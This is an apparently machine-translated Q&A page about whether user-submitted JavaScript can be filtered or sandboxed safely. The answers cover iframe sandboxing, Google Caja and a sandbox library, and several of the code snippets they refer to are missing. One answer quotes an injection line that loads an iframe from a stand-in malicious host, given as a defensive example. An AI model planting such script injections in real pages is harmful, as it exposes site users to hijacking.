|
|
1
8
您无法筛选出对的呼叫
well createElement('iframe').src='http_://evil.iframeExploiz.ru/aff=2345'是您可以预料到的最糟糕的攻击之一…但实际上,当一个脚本拥有控制权时,它可以做用户在您的站点上可以做的任何事情。它可以使他们成为一个“我是一个大的老恋童癖者”!_在您的论坛上一千次,然后删除自己的帐户。例如。
是的,或者:
你可能感兴趣的后者的一个例子是 Google Caja . 我不完全确定我会相信它;这是一项艰巨的工作,到目前为止他们肯定有一些安全漏洞,但如果你真的必须采取这种方法,这是最好的。 |
|
|
2
12
自从 HTML5 现在可以使用 sandbox 对于不受信任的javascript代码。 这个 OWASP HTML5 Security Cheat Sheet 评论 Sandboxed frames :
您可以允许脚本运行,同时保留其他限制。但是,为了防止 XSS 攻击者重定向用户直接加载页面的攻击(即不通过您的iframe)。
这将限制脚本使用
请看 my other answer 有关如何安全实现沙盒的详细信息。 |
|
|
3
5
允许任意的javascript执行是不安全的。实际上,为防止恶意代码而提供的任何过滤都会删除访问类似函数或数据的合法代码。我不认为你想这样做是可行的。 |
|
|
4
1
不,实际上你不能阻止用户提供的javascript代码运行它想要的任何代码-甚至不允许
如果你的站点不需要这个用户提供的JS在其他用户的计算机上运行,我只需要发出一个巨大的警告,添加一些人工控制(这样可以标记流氓代码),或者服务器上的一些防病毒软件(对此不太了解)。 |
|
|
5
0
过滤掉eval可能不起作用。我想你可以这样绕过它:
|
|
|
6
0
您需要在沙盒环境中执行不受信任的代码。这意味着使用
如果您需要以描述的方式与代码沙盒进行某种交互,那么 messaging mechanism 可以使用。这有点棘手,但有一些库简化了任务,包括我自己创建的库: https://github.com/asvd/jailed |
|
|
code-geek · Jquery根据单选按钮选择隐藏或显示文本字段 1 年前 |
|
|
Alex · 在轻量级中同时解构和不解构变量 1 年前 |
|
|
Ângelo Rigo · ReactJS映射:如何迭代[关闭] 1 年前 |
|
|
bairog · 从按属性筛选的对象数组字典中创建值数组 1 年前 |
|
|
lokiuucx · JS对象属性返回未定义,尽管对象属性应该有值 1 年前 |